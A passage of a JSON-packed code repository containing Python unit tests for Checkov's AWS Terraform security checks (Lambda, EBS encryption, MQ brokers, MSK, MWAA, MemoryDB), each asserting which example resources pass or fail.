    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.LambdaServicePermission import check\n\n\nclass TestLambdaServicePermission(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LambdaServicePermission\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_lambda_permission.ckv_unittest_pass_source_arn',\n            'aws_lambda_permission.ckv_unittest_pass_source_account'\n        }\n        failing_resources = {\n            'aws_lambda_permission.ckv_unittest_fail',\n        }\n        unknown_resources = {\n            'aws_lambda_permission.ckv_unittest_pass_principal',\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaXrayEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LambdaXrayEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLambdaXrayEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LambdaXrayEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_function.active\",\n            \"aws_lambda_function.pass_through\",\n        }\n        failing_resources = {\n            \"aws_lambda_function.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LaunchConfigurationEBSEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LaunchConfigurationEBSEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLaunchConfigurationEBSEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LaunchConfigurationEBSEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_instance.pass\",\n            \"aws_instance.pass2\",\n            \"aws_instance.pass3\",\n            \"aws_launch_configuration.pass\",\n            \"aws_launch_configuration.pass2\",\n        }\n        failing_resources = {\n            \"aws_instance.fail\",\n            \"aws_instance.fail2\",\n            \"aws_instance.fail3\",\n            \"aws_instance.fail4\",\n            \"aws_instance.fail5\",\n            \"aws_instance.fail_empty_root_list\",\n            \"aws_launch_configuration.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 5)\n        self.assertEqual(summary[\"failed\"], 7)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LaunchTemplateMetadataHop.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LaunchTemplateMetadataHop import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLaunchTemplateMetadataHop(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LaunchTemplateMetadataHop\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_launch_configuration.pass\",\n            \"aws_launch_configuration.pass2\",\n            \"aws_launch_template.pass\",\n            \"aws_launch_template.pass2\",\n        }\n        failing_resources = {\n            \"aws_launch_configuration.fail\",\n            \"aws_launch_template.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LustreFSEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LustreFSEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLustreFSEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LustreFSEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_fsx_lustre_file_system.pass\",\n        }\n        failing_resources = {\n            \"aws_fsx_lustre_file_system.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MQBrokerAuditLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MQBrokerAuditLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMQBrokerAuditLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MQBrokerAuditLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mq_broker.enabled\",\n        }\n        failing_resources = {\n            \"aws_mq_broker.default\",\n            \"aws_mq_broker.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MQBrokerEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MQBrokerEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMQBrokerEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MQBrokerEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mq_broker.pass\",\n        }\n        failing_resources = {\n            \"aws_mq_broker.fail\",\n            \"aws_mq_broker.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MQBrokerLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MQBrokerLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMQBrokerLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MQBrokerLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mq_broker.enabled\",\n        }\n        failing_resources = {\n            \"aws_mq_broker.default\",\n            \"aws_mq_broker.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MQBrokerMinorAutoUpgrade.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MQBrokerMinorAutoUpgrade import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMQBrokerLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MQBrokerMinorAutoUpgrade\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mq_broker.pass\",\n        }\n        failing_resources = {\n            \"aws_mq_broker.fail\",\n            \"aws_mq_broker.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MQBrokerNotPubliclyExposed.py",
    "content": "import hcl2\nimport unittest\n\nfrom checkov.terraform.checks.resource.aws.MQBrokerNotPubliclyExposed import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMQBrokerNotPubliclyExposed(unittest.TestCase):\n\n    def test_failure_mqbroker_logging(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_mq_broker\" \"example\" {\n            broker_name = \"example\"\n\n            engine_type         = \"ActiveMQ\"\n            engine_version      = \"5.15.0\"\n            host_instance_type  = \"mq.t2.micro\"\n            publicly_accessible = true\n\n            user {\n                username = \"ExampleUser\"\n                password = \"MindTheGap\"  # checkov:skip=CKV_SECRET_6 test secret\n            }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_mq_broker']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_mqbroker_logging(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_mq_broker\" \"example\" {\n            broker_name = \"example\"\n\n            engine_type         = \"ActiveMQ\"\n            engine_version      = \"5.15.0\"\n            host_instance_type  = \"mq.t2.micro\"\n            publicly_accessible = false\n\n            user {\n                username = \"ExampleUser\"\n                password = \"MindTheGap\"\n            }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_mq_broker']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_missing_mqbroker_logging(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_mq_broker\" \"example\" {\n            broker_name = \"example\"\n\n            engine_type         = \"ActiveMQ\"\n            engine_version      = \"5.15.0\"\n            host_instance_type  = \"mq.t2.micro\"\n\n            user {\n                username = \"ExampleUser\"\n                password = \"MindTheGap\"\n            }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_mq_broker']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MQBrokerVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MQBrokerVersion import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMQBrokerVersion(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MQBrokerVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mq_broker.pass\",\n            \"aws_mq_broker.pass2\",\n            \"aws_mq_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_mq_broker.fail\",\n            \"aws_mq_broker.fail2\",\n            \"aws_mq_configuration.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MSKClusterEncryption.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.MSKClusterEncryption import check\n\n\nclass TestMSKClusterEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_non_tls(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"encryption_info\": [\n                {\n                    \"encryption_at_rest_kms_key_arn\": \"aws_kms_key.kms.arn\",\n                    \"encryption_in_transit\": [\n                        {\n                            \"client_broker\": [\"PLAINTEXT\"],\n                            \"in_cluster\": [\"true\"],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_in_cluster(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"encryption_info\": [\n                {\n                    \"encryption_at_rest_kms_key_arn\": [\"aws_kms_key.kms.arn\"],\n                    \"encryption_in_transit\": [\n                        {\n                            \"client_broker\": [\"TLS\"],\n                            \"in_cluster\": [False],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"encryption_info\": [\n                {\n                    \"encryption_at_rest_kms_key_arn\": [\"aws_kms_key.kms.arn\"],\n                    \"encryption_in_transit\": [\n                        {\n                            \"client_broker\": [\"TLS\"],\n                            \"in_cluster\": [\"true\"],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_no_encrypt_block(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"encryption_info\": [\n                {\n                    \"encryption_at_rest_kms_key_arn\": [\"aws_kms_key.kms.arn\"],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    # Regression test for https://github.com/bridgecrewio/checkov/issues/747\n    def test_success_no_encryption_at_rest_kms_key_arn_specified(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"encryption_info\": [{}],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    # Regression test for https://github.com/bridgecrewio/checkov/issues/747\n    def test_success_encryption_in_transit_and_no_encryption_at_rest_kms_key_arn_specified(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"encryption_info\": [\n                {\n                    \"encryption_in_transit\": [\n                        {\n                            \"client_broker\": [\"TLS\"],\n                            \"in_cluster\": [True],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MSKClusterLogging.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.MSKClusterLogging import check\n\n\nclass TestMSKClusterLogging(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"logging_info\": [\n                {\n                    \"broker_logs\": [\n                        {\n                            \"cloudwatch_logs\": [\n                                {\n                                    \"enabled\": [False],\n                                }\n                            ],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_none(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"logging_info\": [\n                {\n                    \"broker_logs\": [\n                        {\n                            \"cloudwatch_logs\": [\n                                {\n                                    \"enabled\": [True],\n                                }\n                            ],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_all(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"logging_info\": [\n                {\n                    \"broker_logs\": [\n                        {\n                            \"cloudwatch_logs\": [\n                                {\n                                    \"enabled\": [True],\n                                }\n                            ],\n                        },\n                        {\n                            \"firehose\": [\n                                {\n                                    \"enabled\": [True],\n                                }\n                            ],\n                        },\n                        {\n                            \"s3\": [\n                                {\n                                    \"enabled\": [True],\n                                }\n                            ],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_mixed(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"logging_info\": [\n                {\n                    \"broker_logs\": [\n                        {\n                            \"cloudwatch_logs\": [\n                                {\n                                    \"enabled\": [True],\n                                }\n                            ],\n                        },\n                        {\n                            \"firehose\": [\n                                {\n                                    \"enabled\": [True],\n                                }\n                            ],\n                        },\n                        {\n                            \"s3\": [\n                                {\n                                    \"enabled\": [False],\n                                }\n                            ],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_empty(self):\n        resource_conf = {\n            \"name\": \"test-project\",\n            \"logging_info\": [\n                {\n                    \"broker_logs\": [\n                        {\n                            \"cloudwatch_logs\": [\n                                {\n                                }\n                            ],\n                        }\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MSKClusterNodesArePrivate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MSKClusterNodesArePrivate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMSKClusterNodesArePrivate(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MSKClusterNodesArePrivate\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_msk_cluster.pass\",\n            \"aws_msk_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_msk_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MWAASchedulerLogsEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MWAASchedulerLogsEnabled import check\n\n\nclass TestMWAASchedulerLogsEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MWAASchedulerLogsEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mwaa_environment.pass\",\n        }\n        failing_resources = {\n            \"aws_mwaa_environment.fail\",\n            \"aws_mwaa_environment.fail_false\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MWAAWebserverLogsEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MWAAWebserverLogsEnabled import check\n\n\nclass TestMWAAWebserverLogsEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MWAAWebserverLogsEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mwaa_environment.pass\",\n\n        }\n        failing_resources = {\n            \"aws_mwaa_environment.fail\",\n            \"aws_mwaa_environment.fail_false\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MWAAWorkerLogsEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MWAAWorkerLogsEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMWAAWorkerLogsEnabled(unittest.TestCase):\n    def test(self):\n\n        test_files_dir = Path(__file__).parent / \"example_MWAAWorkerLogsEnabled\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_mwaa_environment.pass\"\n        }\n        failing_resources = {\n            \"aws_mwaa_environment.fail_false\",\n            \"aws_mwaa_environment.fail_missing\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MemoryDBClusterIntransitEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MemoryDBClusterIntransitEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemoryDBClusterIntransitEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MemoryDBClusterIntransitEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_memorydb_cluster.pass\",\n            \"aws_memorydb_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_memorydb_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MemoryDBEncryptionWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.MemoryDBEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemoryDBEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MemoryDBEncryptionWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_memorydb_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_memorydb_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_MemoryDBSnapshotEncryptionWithCMK.py",
